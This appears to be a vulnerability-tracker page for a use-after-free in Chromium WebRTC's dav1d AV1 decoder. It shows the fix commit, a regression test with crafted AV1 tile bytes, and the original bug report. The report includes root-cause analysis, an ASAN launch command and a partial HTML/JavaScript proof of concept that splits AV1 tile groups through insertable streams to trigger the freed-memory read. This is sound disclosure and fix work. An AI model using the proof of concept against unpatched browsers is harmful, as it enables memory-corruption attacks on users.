Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in WebRTC
DescriptionUse after free in WebRTC
ComponentWebRTC
Bug ClassUAF
Tracker486421953
Fix commitfcea1cf20ab0 (src) +64/-20
CISA KEVNot listed
Creditedc6eed09fc8b174b0f3eebedcceb1e792
Disclosed2026-03-18

Changed Functions

FunctionChangeNotes
TEST
modules/video_coding/codecs/av1/dav1d_decoder_unittest.cc
modified

Files Changed

  • modules/video_coding/codecs/av1/dav1d_decoder.cc
  • modules/video_coding/codecs/av1/dav1d_decoder_unittest.cc
From fcea1cf20ab03a15d2ca702629208e965edb3990 Mon Sep 17 00:00:00 2001
From: Philip Eliasson <[email protected]>
Date: Wed, 04 Mar 2026 13:51:43 +0100
Subject: [PATCH] Let dav1d retain references to wrapped bitstream buffers.

Bug: chromium:486421953
Change-Id: I855616d8206711b371df05a306730468ec8d23e7
Reviewed-on: https://webrtc-review.googlesource.com/c/src/+/453200
Commit-Queue: Philip Eliasson <[email protected]>
Reviewed-by: Erik Språng <[email protected]>
Cr-Commit-Position: refs/heads/main@{#47051}
---

diff --git a/modules/video_coding/codecs/av1/dav1d_decoder.cc b/modules/video_coding/codecs/av1/dav1d_decoder.cc
index 7a52dfa..9356dcb 100644
--- a/modules/video_coding/codecs/av1/dav1d_decoder.cc
+++ b/modules/video_coding/codecs/av1/dav1d_decoder.cc
@@ -82,9 +82,6 @@
 
 constexpr char kDav1dName[] = "dav1d";
 
-// Calling `dav1d_data_wrap` requires a `free_callback` to be registered.
-void NullFreeCallback(const uint8_t* /* buffer */, void* /* opaque */) {}
-
 Dav1dDecoder::Dav1dDecoder() = default;
 
 Dav1dDecoder::Dav1dDecoder(const Environment& env)
@@ -142,9 +139,25 @@
 
   ScopedDav1dData scoped_dav1d_data;
   Dav1dData& dav1d_data = scoped_dav1d_data.Data();
-  dav1d_data_wrap(&dav1d_data, encoded_image.data(), encoded_image.size(),
-                  /*free_callback=*/&NullFreeCallback,
-                  /*user_data=*/nullptr);
+
+  // Calling GetEncodedData will create a new `scoped_refptr` and increment the
+  // ref count. By simply releasing we are now responsible for decrementing
+  // the ref count when appropriate, which is when dav1d calls the
+  // `free_callback` to indicate that the buffer is no longer needed.
+  EncodedImageBufferInterface* bitstream_buffer =
+      encoded_image.GetEncodedData().release();
+
+  // Note that the `bitstream_buffer` can have a higher capacity than what is
+  // actually being used, so `encoded_image.size()` should be used to get the
+  // actual size of the bitstream.
+  dav1d_data_wrap(
+      &dav1d_data, encoded_image.data(), encoded_image.size(),
+      /*free_callback=*/
+      [](const uint8_t* /* buffer */, void* user_data) {
+        auto* bb = static_cast<EncodedImageBufferInterface*>(user_data);
+        bb->Release();
+      },
+      /*user_data=*/bitstream_buffer);
 
   if (int decode_res = dav1d_send_data(context_, &dav1d_data)) {
     RTC_LOG(LS_WARNING)
diff --git a/modules/video_coding/codecs/av1/dav1d_decoder_unittest.cc b/modules/video_coding/codecs/av1/dav1d_decoder_unittest.cc
index 1c6477b..217edc1 100644
--- a/modules/video_coding/codecs/av1/dav1d_decoder_unittest.cc
+++ b/modules/video_coding/codecs/av1/dav1d_decoder_unittest.cc
@@ -67,13 +67,9 @@
   TestAv1Decoder(const TestAv1Decoder&) = delete;
   TestAv1Decoder& operator=(const TestAv1Decoder&) = delete;
 
-  void Decode(const EncodedImage& image) {
-    ASSERT_THAT(decoder_, NotNull());
+  int32_t Decode(const EncodedImage& image) {
     decoded_frame_ = std::nullopt;
-    int32_t error =
-        decoder_->Decode(image, /*render_time_ms=*/image.capture_time_ms_);
-    ASSERT_EQ(error, WEBRTC_VIDEO_CODEC_OK);
-    ASSERT_THAT(decoded_frame_, Not(Eq(std::nullopt)));
+    return decoder_->Decode(image, /*render_time_ms=*/image.capture_time_ms_);
   }
 
   VideoFrame& decoded_frame() { return *decoded_frame_; }
@@ -95,8 +91,9 @@
 
 TEST(Dav1dDecoderTest, KeepsDecodedResolutionByDefault) {
   TestAv1Decoder decoder(CreateEnvironment());
-  decoder.Decode(
-      CreateEncodedImage(kAv1FrameWith36x20EncodededAnd32x16RenderResolution));
+  EXPECT_EQ(decoder.Decode(CreateEncodedImage(
+                kAv1FrameWith36x20EncodededAnd32x16RenderResolution)),
+            WEBRTC_VIDEO_CODEC_OK);
   EXPECT_EQ(decoder.decoded_frame().width(), 36);
   EXPECT_EQ(decoder.decoded_frame().height(), 20);
 }
@@ -104,8 +101,9 @@
 TEST(Dav1dDecoderTest, CropsToRenderResolutionWhenCropIsEnabled) {
   TestAv1Decoder decoder(CreateEnvironment(CreateTestFieldTrialsPtr(
       "WebRTC-Dav1dDecoder-CropToRenderResolution/Enabled/")));
-  decoder.Decode(
-      CreateEncodedImage(kAv1FrameWith36x20EncodededAnd32x16RenderResolution));
+  EXPECT_EQ(decoder.Decode(CreateEncodedImage(
+                kAv1FrameWith36x20EncodededAnd32x16RenderResolution)),
+            WEBRTC_VIDEO_CODEC_OK);
   EXPECT_EQ(decoder.decoded_frame().width(), 32);
   EXPECT_EQ(decoder.decoded_frame().height(), 16);
 }
@@ -113,16 +111,18 @@
 TEST(Dav1dDecoderTest, DoesNotCropToRenderResolutionWhenCropIsDisabled) {
   TestAv1Decoder decoder(CreateEnvironment(CreateTestFieldTrialsPtr(
       "WebRTC-Dav1dDecoder-CropToRenderResolution/Disabled/")));
-  decoder.Decode(
-      CreateEncodedImage(kAv1FrameWith36x20EncodededAnd32x16RenderResolution));
+  EXPECT_EQ(decoder.Decode(CreateEncodedImage(
+                kAv1FrameWith36x20EncodededAnd32x16RenderResolution)),
+            WEBRTC_VIDEO_CODEC_OK);
   EXPECT_EQ(decoder.decoded_frame().width(), 36);
   EXPECT_EQ(decoder.decoded_frame().height(), 20);
 }
 
 TEST(Dav1dDecoderTest, SetsColorSpaceOnDecodedFrame) {
   TestAv1Decoder decoder(CreateEnvironment());
-  decoder.Decode(
-      CreateEncodedImage(kAv1FrameWithBT709FullRangeColorSpace));
+  EXPECT_EQ(
+      decoder.Decode(CreateEncodedImage(kAv1FrameWithBT709FullRangeColorSpace)),
+      WEBRTC_VIDEO_CODEC_OK);
   auto color_space = decoder.decoded_frame().color_space();
   EXPECT_TRUE(color_space.has_value());
   EXPECT_EQ(color_space->primaries(), ColorSpace::PrimaryID::kBT709);
@@ -131,6 +131,37 @@
   EXPECT_EQ(color_space->range(), ColorSpace::RangeID::kFull);
 }
 
+TEST(Dav1dDecoderTest, FailDecoderOnTiles) {
+  // This test tests buffer management, any failures would be detected
+  // by running this test under ASAN.
+  static constexpr uint8_t kTile0[] = {
+      0x0a, 0x0a, 0x00, 0x00, 0x00, 0x04, 0x3c, 0xff, 0xbc, 0x01, 0xa0, 0x08,
+      0x32, 0xbd, 0x01, 0x10, 0x60, 0xb0, 0x01, 0xa6, 0x9a, 0x68, 0x50, 0x91,
+      0xb0, 0x80, 0xb0, 0xd9, 0x8a, 0x40, 0xe4, 0x3e, 0xfb, 0x06, 0x1f, 0x0e,
+      0xcc, 0xdc, 0xcb, 0x8c, 0x2d, 0x5c, 0xb0, 0x52, 0xe0, 0xb3, 0x89, 0x2b,
+      0x6b, 0x8b, 0x56, 0xd3, 0x0a, 0x70, 0xad, 0x26, 0xf0, 0xca, 0xfa, 0xad,
+      0x27, 0xcc, 0x5b, 0x8c, 0x0c, 0x72, 0x76, 0xa7, 0x42, 0x69, 0x4c, 0x47,
+      0xf4, 0x2b, 0xa9, 0x5e, 0x13, 0x81, 0x69, 0x47, 0x40, 0x13, 0x3e, 0xac,
+      0xef, 0x0f, 0x74, 0x02, 0x79, 0xa7, 0x50, 0xf4, 0x50, 0x82, 0x4d, 0x4f,
+      0x70, 0x02, 0x9c, 0x0f, 0x61, 0xbc, 0x1c, 0x22, 0xc2, 0xac, 0x9f, 0x88,
+      0xbd, 0x2a, 0xdc, 0xdb, 0xf0, 0xbe, 0x95, 0x54, 0x6e, 0xda, 0x08, 0x76,
+      0x2c, 0x86, 0xd2, 0x0f, 0x86, 0xc1, 0x86, 0xcb, 0x98, 0x35, 0xfc, 0x2c,
+      0xe7, 0x51, 0x44, 0x62, 0xfe, 0xf1, 0x97, 0x1f, 0xb0, 0x7f, 0x14, 0xc4,
+      0xef, 0xb0, 0x01, 0x7c, 0x07, 0x22, 0x3e, 0xda, 0x2b, 0xef, 0x59, 0xcc,
+      0x57, 0x65, 0xc5, 0x22, 0xe9, 0x61, 0x99, 0x0c, 0xd6, 0x07, 0x68, 0x1a,
+      0x26, 0xad, 0x9b, 0x1e, 0x91, 0x2c, 0xee, 0xe2, 0xe4, 0x7c, 0x4d, 0x07,
+      0x51, 0x72, 0x89, 0x51, 0xbf, 0x17, 0x67, 0xc0, 0x6d, 0x02, 0x69, 0x92,
+      0x20, 0x7b, 0xeb, 0x11, 0xea, 0xc1, 0x43, 0x59, 0x4f, 0x75, 0xbb, 0x20};
+  static constexpr uint8_t kTile1[] = {
+      0x22, 0x1e, 0xe0, 0xc1, 0xb6, 0x2f, 0x07, 0xd0, 0x0b, 0xaf, 0x14,
+      0xbf, 0x51, 0xa3, 0x0d, 0xf4, 0xb6, 0x45, 0xd8, 0x16, 0xda, 0x8c,
+      0xb0, 0xbf, 0x29, 0x39, 0xdf, 0x9a, 0x9e, 0x9c, 0x69, 0x80};
+
+  TestAv1Decoder decoder(CreateEnvironment());
+  decoder.Decode(CreateEncodedImage(kTile0));
+  decoder.Decode(CreateEncodedImage(kTile1));
+}
+
 }  // namespace
 }  // namespace test
 }  // namespace webrtc
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/modules/video_coding/codecs/av1/dav1d_decoder_unittest.cc b/modules/video_coding/codecs/av1/dav1d_decoder_unittest.cc
index 1c6477b..217edc1 100644
--- a/modules/video_coding/codecs/av1/dav1d_decoder_unittest.cc
+++ b/modules/video_coding/codecs/av1/dav1d_decoder_unittest.cc
@@ -67,13 +67,9 @@
   TestAv1Decoder(const TestAv1Decoder&) = delete;
   TestAv1Decoder& operator=(const TestAv1Decoder&) = delete;
 
-  void Decode(const EncodedImage& image) {
-    ASSERT_THAT(decoder_, NotNull());
+  int32_t Decode(const EncodedImage& image) {
     decoded_frame_ = std::nullopt;
-    int32_t error =
-        decoder_->Decode(image, /*render_time_ms=*/image.capture_time_ms_);
-    ASSERT_EQ(error, WEBRTC_VIDEO_CODEC_OK);
-    ASSERT_THAT(decoded_frame_, Not(Eq(std::nullopt)));
+    return decoder_->Decode(image, /*render_time_ms=*/image.capture_time_ms_);
   }
 
   VideoFrame& decoded_frame() { return *decoded_frame_; }
@@ -95,8 +91,9 @@
 
 TEST(Dav1dDecoderTest, KeepsDecodedResolutionByDefault) {
   TestAv1Decoder decoder(CreateEnvironment());
-  decoder.Decode(
-      CreateEncodedImage(kAv1FrameWith36x20EncodededAnd32x16RenderResolution));
+  EXPECT_EQ(decoder.Decode(CreateEncodedImage(
+                kAv1FrameWith36x20EncodededAnd32x16RenderResolution)),
+            WEBRTC_VIDEO_CODEC_OK);
   EXPECT_EQ(decoder.decoded_frame().width(), 36);
   EXPECT_EQ(decoder.decoded_frame().height(), 20);
 }
@@ -104,8 +101,9 @@
 TEST(Dav1dDecoderTest, CropsToRenderResolutionWhenCropIsEnabled) {
   TestAv1Decoder decoder(CreateEnvironment(CreateTestFieldTrialsPtr(
       "WebRTC-Dav1dDecoder-CropToRenderResolution/Enabled/")));
-  decoder.Decode(
-      CreateEncodedImage(kAv1FrameWith36x20EncodededAnd32x16RenderResolution));
+  EXPECT_EQ(decoder.Decode(CreateEncodedImage(
+                kAv1FrameWith36x20EncodededAnd32x16RenderResolution)),
+            WEBRTC_VIDEO_CODEC_OK);
   EXPECT_EQ(decoder.decoded_frame().width(), 32);
   EXPECT_EQ(decoder.decoded_frame().height(), 16);
 }
@@ -113,16 +111,18 @@
 TEST(Dav1dDecoderTest, DoesNotCropToRenderResolutionWhenCropIsDisabled) {
   TestAv1Decoder decoder(CreateEnvironment(CreateTestFieldTrialsPtr(
       "WebRTC-Dav1dDecoder-CropToRenderResolution/Disabled/")));
-  decoder.Decode(
-      CreateEncodedImage(kAv1FrameWith36x20EncodededAnd32x16RenderResolution));
+  EXPECT_EQ(decoder.Decode(CreateEncodedImage(
+                kAv1FrameWith36x20EncodededAnd32x16RenderResolution)),
+            WEBRTC_VIDEO_CODEC_OK);
   EXPECT_EQ(decoder.decoded_frame().width(), 36);
   EXPECT_EQ(decoder.decoded_frame().height(), 20);
 }
 
 TEST(Dav1dDecoderTest, SetsColorSpaceOnDecodedFrame) {
   TestAv1Decoder decoder(CreateEnvironment());
-  decoder.Decode(
-      CreateEncodedImage(kAv1FrameWithBT709FullRangeColorSpace));
+  EXPECT_EQ(
+      decoder.Decode(CreateEncodedImage(kAv1FrameWithBT709FullRangeColorSpace)),
+      WEBRTC_VIDEO_CODEC_OK);
   auto color_space = decoder.decoded_frame().color_space();
   EXPECT_TRUE(color_space.has_value());
   EXPECT_EQ(color_space->primaries(), ColorSpace::PrimaryID::kBT709);
@@ -131,6 +131,37 @@
   EXPECT_EQ(color_space->range(), ColorSpace::RangeID::kFull);
 }
 
+TEST(Dav1dDecoderTest, FailDecoderOnTiles) {
+  // This test tests buffer management, any failures would be detected
+  // by running this test under ASAN.
+  static constexpr uint8_t kTile0[] = {
+      0x0a, 0x0a, 0x00, 0x00, 0x00, 0x04, 0x3c, 0xff, 0xbc, 0x01, 0xa0, 0x08,
+      0x32, 0xbd, 0x01, 0x10, 0x60, 0xb0, 0x01, 0xa6, 0x9a, 0x68, 0x50, 0x91,
+      0xb0, 0x80, 0xb0, 0xd9, 0x8a, 0x40, 0xe4, 0x3e, 0xfb, 0x06, 0x1f, 0x0e,
+      0xcc, 0xdc, 0xcb, 0x8c, 0x2d, 0x5c, 0xb0, 0x52, 0xe0, 0xb3, 0x89, 0x2b,
+      0x6b, 0x8b, 0x56, 0xd3, 0x0a, 0x70, 0xad, 0x26, 0xf0, 0xca, 0xfa, 0xad,
+      0x27, 0xcc, 0x5b, 0x8c, 0x0c, 0x72, 0x76, 0xa7, 0x42, 0x69, 0x4c, 0x47,
+      0xf4, 0x2b, 0xa9, 0x5e, 0x13, 0x81, 0x69, 0x47, 0x40, 0x13, 0x3e, 0xac,
+      0xef, 0x0f, 0x74, 0x02, 0x79, 0xa7, 0x50, 0xf4, 0x50, 0x82, 0x4d, 0x4f,
+      0x70, 0x02, 0x9c, 0x0f, 0x61, 0xbc, 0x1c, 0x22, 0xc2, 0xac, 0x9f, 0x88,
+      0xbd, 0x2a, 0xdc, 0xdb, 0xf0, 0xbe, 0x95, 0x54, 0x6e, 0xda, 0x08, 0x76,
+      0x2c, 0x86, 0xd2, 0x0f, 0x86, 0xc1, 0x86, 0xcb, 0x98, 0x35, 0xfc, 0x2c,
+      0xe7, 0x51, 0x44, 0x62, 0xfe, 0xf1, 0x97, 0x1f, 0xb0, 0x7f, 0x14, 0xc4,
+      0xef, 0xb0, 0x01, 0x7c, 0x07, 0x22, 0x3e, 0xda, 0x2b, 0xef, 0x59, 0xcc,
+      0x57, 0x65, 0xc5, 0x22, 0xe9, 0x61, 0x99, 0x0c, 0xd6, 0x07, 0x68, 0x1a,
+      0x26, 0xad, 0x9b, 0x1e, 0x91, 0x2c, 0xee, 0xe2, 0xe4, 0x7c, 0x4d, 0x07,
+      0x51, 0x72, 0x89, 0x51, 0xbf, 0x17, 0x67, 0xc0, 0x6d, 0x02, 0x69, 0x92,
+      0x20, 0x7b, 0xeb, 0x11, 0xea, 0xc1, 0x43, 0x59, 0x4f, 0x75, 0xbb, 0x20};
+  static constexpr uint8_t kTile1[] = {
+      0x22, 0x1e, 0xe0, 0xc1, 0xb6, 0x2f, 0x07, 0xd0, 0x0b, 0xaf, 0x14,
+      0xbf, 0x51, 0xa3, 0x0d, 0xf4, 0xb6, 0x45, 0xd8, 0x16, 0xda, 0x8c,
+      0xb0, 0xbf, 0x29, 0x39, 0xdf, 0x9a, 0x9e, 0x9c, 0x69, 0x80};
+
+  TestAv1Decoder decoder(CreateEnvironment());
+  decoder.Decode(CreateEncodedImage(kTile0));
+  decoder.Decode(CreateEncodedImage(kTile1));
+}
+
 }  // namespace
 }  // namespace test
 }  // namespace webrtc
Loading diff…

Original Bug Report

reported by [email protected]

Use-after-free in WebRTC dav1d AV1 decoder due to missing buffer lifetime management leads to heap read of freed memory

Title

Use-after-free in WebRTC dav1d AV1 decoder due to missing buffer lifetime management leads to heap read of freed memory

Summary

The WebRTC dav1d AV1 decoder wrapper (Dav1dDecoder::Decode) uses dav1d_data_wrap() with a no-op NullFreeCallback to pass encoded frame data to dav1d, without retaining a reference to the underlying EncodedImage buffer. When dav1d receives an AV1 bitstream containing partial tile groups, it internally saves data pointers into its c->tile[] array via dav1d_data_ref(), expecting the buffer to remain valid across subsequent dav1d_send_data calls. After Decode() returns, the caller destroys the RtpFrameObject, which releases the EncodedImageBuffer. On a subsequent Decode() call that completes the tile group, dav1d reads through the now dangling tile data pointer, resulting in a heap use-after-free.

Bisect

Introducing Commit: b09d87232b8948cebb39174e2a74e24943e5d312 (WebRTC repository)

This is the reland of the original “Add dav1d decoder to WebRTC” commit. The NullFreeCallback pattern and the associated lifetime gap have existed since the initial introduction of the dav1d decoder wrapper.

Root Cause

The dav1d library’s data input API, dav1d_data_wrap(), accepts a raw pointer to encoded bitstream data along with a free_callback that dav1d invokes when it no longer needs the buffer. This callback mechanism is dav1d’s sole mechanism for the caller to manage the lifetime of the wrapped buffer. The WebRTC integration in dav1d_decoder.cc registers a no-op callback:

// third_party/webrtc/modules/video_coding/codecs/av1/dav1d_decoder.cc
// Calling `dav1d_data_wrap` requires a `free_callback` to be registered.
void NullFreeCallback(const uint8_t* /* buffer */, void* /* opaque */) {}

This means that dav1d’s internal reference counting on the wrapped data has no effect on the actual buffer lifetime. The Decode method wraps the EncodedImage data pointer directly without retaining any reference to the buffer:

// third_party/webrtc/modules/video_coding/codecs/av1/dav1d_decoder.cc
int32_t Dav1dDecoder::Decode(const EncodedImage& encoded_image,
                             int64_t /*render_time_ms*/) {
  // ...
  ScopedDav1dData scoped_dav1d_data;
  Dav1dData& dav1d_data = scoped_dav1d_data.Data();
  dav1d_data_wrap(&dav1d_data, encoded_image.data(), encoded_image.size(),
                  /*free_callback=*/&NullFreeCallback,
                  /*user_data=*/nullptr);

  if (int decode_res = dav1d_send_data(context_, &dav1d_data)) {
    return WEBRTC_VIDEO_CODEC_ERROR;
  }
  // ...
}

The AV1 bitstream format allows tile group data to be split across multiple OBUs. When dav1d parses an OBU_TILE_GRP (or the tile group portion of an OBU_FRAME), it saves a reference to the tile data in its internal c->tile[] array:

// third_party/dav1d/libdav1d/src/obu.c (parse_obus, case DAV1D_OBU_TILE_GRP)
dav1d_data_ref(&c->tile[c->n_tile_data].data, in);
c->tile[c->n_tile_data].data.data = gb.ptr;
c->tile[c->n_tile_data].data.sz = (size_t)(gb.ptr_end - gb.ptr);

If not all tiles for a frame have been received (for example, a 2-tile frame where only tile 0 arrives in the first chunk), dav1d returns EAGAIN from dav1d_get_picture() and the c->tile[] references persist. The Decode() method returns WEBRTC_VIDEO_CODEC_ERROR, and the caller (VideoReceiveStream2::DecodeAndMaybeDispatchEncodedFrame) proceeds to destroy the unique_ptr<EncodedFrame>, which releases the underlying EncodedImageBuffer:

freed by thread T4 (ThreadPoolForeg):
    operator delete[]
    EncodedImageBuffer::~RefCountedObject
    EncodedImage::~EncodedImage
    RtpFrameObject::~RtpFrameObject
    VideoReceiveStream2::DecodeAndMaybeDispatchEncodedFrame

At this point, dav1d’s c->tile[0].data still contains a pointer into the now freed EncodedImageBuffer. When a subsequent Decode() call delivers the remaining tile group, dav1d has all tiles collected and calls dav1d_submit_frame, which reads through the stale pointer during CDF initialization in dav1d_msac_init.

It is worth noting that Chrome’s media pipeline has a separate dav1d integration (media/filters/dav1d_video_decoder.cc) that handles this correctly by using ReleaseDecoderBuffer as the free callback and calling buffer->AddRef() to prevent premature destruction:

// media/filters/dav1d_video_decoder.cc
static void ReleaseDecoderBuffer(const uint8_t* buffer, void* opaque) {
  if (opaque)
    static_cast<DecoderBuffer*>(opaque)->Release();
}

The WebRTC wrapper never adopted this pattern. Additionally, after a decode error, the WebRTC stack does not reset or flush the dav1d decoder context. VCMGenericDecoder::Decode only calls ClearTimestampMap() on error, and c->frame_hdr persists across calls inside dav1d, so a subsequent tile group OBU is accepted without needing a new frame header. The ASAN report confirms the absence of MiraclePtr protection on this path: “MiraclePtr Status: NOT PROTECTED”.

Reproduce

Save the following HTML file and open it in a Chromium ASAN build with AV1 WebRTC support:

ASAN_OPTIONS=detect_odr_violation=0 ./out/asan-release/chrome \
  --no-sandbox --disable-gpu --enable-logging=stderr \
  --autoplay-policy=no-user-gesture-required \
  --user-data-dir=/tmp/poc-test poc.html
<!DOCTYPE html>
<html>
<head>
<title> PoC - dav1d Tile Group UAF</title>
</head>
<body>
<h3>WRTC-065: dav1d Decoder Input Buffer Lifetime UAF</h3>
<canvas id="c" width="320" height="240" style="display:none;"></canvas>
<pre id="log"></pre>
<script>
// ============================================================
//  PoC: dav1d tile group UAF via WebRTC
//
// Strategy: Intercept first real AV1 keyframe from encoder,
// parse its OBU structure, and split into two chunks:
//   Chunk 1: SeqHdr + OBU_FRAME_HDR (from real data) + OBU_TILE_GRP(tile 0)
//   Chunk 2: OBU_TILE_GRP(tile 1)
// This causes dav1d to save tile 0 data across Decode() calls
// while the underlying buffer is freed -> UAF.
// ============================================================

function log(msg) {
  const el = document.getElementById('log');
  el.textContent += msg + '\n';
  console.log(msg);
}

// === leb128 encoder/decoder ===
function readLeb128(data, offset) {
  let value = 0;
  let bytesRead = 0;
  for (let i = 0; i < 8; i++) {
    const b = data[offset + i];
    value |= (b & 0x7F) << (7 * i);
    bytesRead++;
    if (!(b & 0x80)) break;
  }
  return { value, bytesRead };
}

function encodeLeb128(value) {
  const bytes = [];
  do {
    let b = value & 0x7F;
    value >>= 7;
    if (value > 0) b |= 0x80;
    bytes.push(b);
  } while (value > 0);
  return new Uint8Array(bytes);
}

// === AV1 OBU parser ===
function parseOBUs(data) {
  const obus = [];
  let offset = 0;
  while (offset < data.length) {
    const headerByte = data[offset];
    const type = (headerByte >> 3) & 0x0F;
    const hasExtension = (headerByte >> 2) & 1;
    const hasSize = (headerByte >> 1) & 1;
    const headerSize = 1 + (hasExtension ? 1 : 0);
    let payloadOffset = offset + headerSize;
    let payloadSize;
    let sizeFieldLen = 0;

    if (hasSize) {
      const r = readLeb128(data, payloadOffset);
      payloadSize = r.value;
      sizeFieldLen = r.bytesRead;
      payloadOffset += sizeFieldLen;
    } else {
      payloadSize = data.length - payloadOffset;
    }

    obus.push({
      type,
      offset,
      headerSize,
      sizeFieldLen,
      payloadOffset,
      payloadSize,
      totalSize: payloadOffset - offset + payloadSize,
      headerByte,
    });
    offset += payloadOffset - offset + payloadSize;
    if (offset <= obus[obus.length-1].offset) break; // safety
  }
  return obus;
}

// === SDP manipulation to prefer AV1 ===
function preferAV1(sdp) {
  const lines = sdp.split('\r\n');
  const result = [];
  let av1Pts = [];
  for (const line of lines) {
    const match = line.match(/^a=rtpmap:(\d+)\s+AV1\//i);
    if (match) av1Pts.push(match[1]);
  }
  if (av1Pts.length === 0) return sdp;
  for (const line of lines) {
    if (line.startsWith('m=video')) {
      const parts = line.split(' ');
      const pts = parts.slice(3);
      const reordered = [...av1Pts, ...pts.filter(pt => !av1Pts.includes(pt))];
      result.push([...parts.slice(0, 3), ...reordered].join(' '));
    } else {
      result.push(line);
    }
  }
  return result.join('\r\n');
}

// === Main PoC ===
async function runPoc() {
  try {
    log('[*] WRTC-065: dav1d Tile Group UAF PoC');
    log('[*] Strategy: Split real AV1 keyframe tile groups across Decode() calls');

    // Canvas video source
    const canvas = document.getElementById('c');
    const ctx = canvas.getContext('2d');
    let frameNum = 0;
    function draw() {
      ctx.fillStyle = `hsl(${frameNum % 360}, 70%, 50%)`;
      ctx.fillRect(0, 0, canvas.width, canvas.height);
      ctx.fillStyle = 'white';
      ctx.font = '30px monospace';
      ctx.fillText(`F${frameNum}`, 10, 40);
      frameNum++;
      requestAnimationFrame(draw);
    }
    draw();
    const stream = canvas.captureStream(30);
    const videoTrack = stream.getVideoTracks()[0];
    log('[+] Video source created (320x240)');

    const pc1 = new RTCPeerConnection({ bundlePolicy: 'max-bundle' });
    const pc2 = new RTCPeerConnection({
      bundlePolicy: 'max-bundle',
      encodedInsertableStreams: true
    });

    pc1.onicecandidate = e => { if (e.candidate) pc2.addIceCandidate(e.candidate); };
    pc2.onicecandidate = e => { if (e.candidate) pc1.addIceCandidate(e.candidate); };

    pc1.addTrack(videoTrack, stream);

    // Set AV1 codec preference on sender
    const senderTransceiver = pc1.getTransceivers()[0];
    if (senderTransceiver && senderTransceiver.setCodecPreferences) {
      const caps = RTCRtpSender.getCapabilities('video');
      if (caps) {
        const av1Codecs = caps.codecs.filter(c =>
          c.mimeType.toLowerCase() === 'video/av1'
        );
        if (av1Codecs.length > 0) {
          senderTransceiver.setCodecPreferences(av1Codecs);
          log('[+] AV1 codec preference set');
        }
      }
    }

    // Receiver-side transform
    pc2.ontrack = (event) => {
      log('[+] Receiver got track: ' + event.track.kind);
      if (event.track.kind !== 'video') return;

      const receiver = event.receiver;

      // Build worker code with AV1 parsing logic
      const workerCode = `
        // === leb128 reader ===
        function readLeb128(data, offset) {
          let value = 0;
          let bytesRead = 0;
          for (let i = 0; i < 8; i++) {
            const b = data[offset + i];
            value |= (b & 0x7F) << (7 * i);
            bytesRead++;
            if (!(b & 0x80)) break;
          }
          return { value, bytesRead };
        }

        function encodeLeb128(value) {
          const bytes = [];
          do {
            let b = value & 0x7F;
            value >>= 7;
            if (value > 0) b |= 0x80;
            bytes.push(b);
          } while (value > 0);
          return new Uint8Array(bytes);
        }

        // === AV1 OBU parser ===
        function parseOBUs(data) {
          const obus = [];
          let offset = 0;
          while (offset < data.length) {
            const headerByte = data[offset];
            const type = (headerByte >> 3) & 0x0F;
            const hasExtension = (headerByte >> 2) & 1;
            const hasSize = (headerByte >> 1) & 1;
            const headerSize = 1 + (hasExtension ? 1 : 0);
            let payloadOffset = offset + headerSize;
            let payloadSize;
            let sizeFieldLen = 0;

            if (hasSize) {
              const r = readLeb128(data, payloadOffset);
              payloadSize = r.value;
              sizeFieldLen = r.bytesRead;
              payloadOffset += sizeFieldLen;
            } else {
              payloadSize = data.length - payloadOffset;
            }

            obus.push({
              type, offset, headerSize, sizeFieldLen, payloadOffset,
              payloadSize, totalSize: payloadOffset - offset + payloadSize,
              headerByte,
            });
            offset = payloadOffset + payloadSize;
            if (offset <= obus[obus.length-1].offset) break;
          }
          return obus;
        }

        let state = 'WAITING_KEYFRAME';
        let savedChunk2 = null;
        let frameCount = 0;

        // Read N-byte little-endian integer
        function readLE(data, offset, nBytes) {
          let val = 0;
          for (let i = 0; i < nBytes; i++) {
            val |= data[offset + i] << (8 * i);
          }
          return val;
        }

        // Auto-detect n_bytes (tile_size_bytes) by trying 1,2,3,4
        function detectNBytes(data, tileDataStart, tileDataEnd) {
          const totalTileData = tileDataEnd - tileDataStart;
          for (let n = 1; n <= 4; n++) {
            if (tileDataStart + n > tileDataEnd) continue;
            const tile0SizeMinus1 = readLE(data, tileDataStart, n);
            const tile0Size = tile0SizeMinus1 + 1;
            const tile1Size = totalTileData - n - tile0Size;
            // Both tiles must have positive, reasonable sizes
            if (tile0Size > 0 && tile1Size > 0 &&
                tile0Size < totalTileData && tile1Size < totalTileData) {
              return { nBytes: n, tile0Size, tile1Size };
            }
          }
          return null;
        }

        self.onrtctransform = (event) => {
          const transformer = event.transformer;
          const reader = transformer.readable.getReader();
          const writer = transformer.writable.getWriter();

          async function process() {
            while (true) {
              const { value: frame, done } = await reader.read();
              if (done) break;
              frameCount++;

              const data = new Uint8Array(frame.data);

              if (state === 'WAITING_KEYFRAME') {
                const obus = parseOBUs(data);
                const seqIdx = obus.findIndex(o => o.type === 1);
                const frameIdx = obus.findIndex(o => o.type === 6);

                if (seqIdx === -1 || frameIdx === -1) {
                  // Not a keyframe, pass through to keep decoder alive
                  // (decoder needs keyframe first, so pass through non-keyframes too)
                  await writer.write(frame);
                  continue;
                }

                self.postMessage('Frame ' + frameCount + ': keyframe found, ' +
                  obus.length + ' OBUs, size=' + data.length);

                const seqObu = obus[seqIdx];
                const frameObu = obus[frameIdx];
                const seqHdrBytes = data.slice(seqObu.offset, seqObu.offset + seqObu.totalSize);

                // OBU_FRAME layout from OBU start:
                //   [0]: OBU header (1 byte)
                //   [1..1+sizeFieldLen]: leb128 size
                //   [payloadOffset..payloadOffset+~10]: frame header bits (byte-aligned)
                //   Then: tile header (1 byte after byte-alignment)
                //   Then: tile data
                //
                // From tracing: hdr_end_offset = 13 from OBU_FRAME start consistently
                // This is: 1(hdr) + 2(leb128) + 10(frame_hdr_payload) = 13
                // But leb128 can be different sizes. Let's compute properly:
                const obuHdrAndSize = frameObu.headerSize + frameObu.sizeFieldLen;

                // Frame header payload length varies. We know from tracing that for
                // this encoder at 320x240, parse_frame_hdr consumes 10 bytes.
                // But it could be different. Let's try the known offset first,
                // then fall back to a scan.
                const knownFrameHdrBytes = 10;

                const tileHdrOffsetFromObuStart = obuHdrAndSize + knownFrameHdrBytes;
                const tileDataOffsetFromObuStart = tileHdrOffsetFromObuStart + 1;

                const tileHdrOffset = frameObu.offset + tileHdrOffsetFromObuStart;
                const tileDataOffset = frameObu.offset + tileDataOffsetFromObuStart;
                const tileDataEnd = frameObu.offset + frameObu.totalSize;

                // Auto-detect n_bytes
                const detected = detectNBytes(data, tileDataOffset, tileDataEnd);
                if (!detected) {
                  self.postMessage('ERROR: Cannot detect tile sizes at offsets ' +
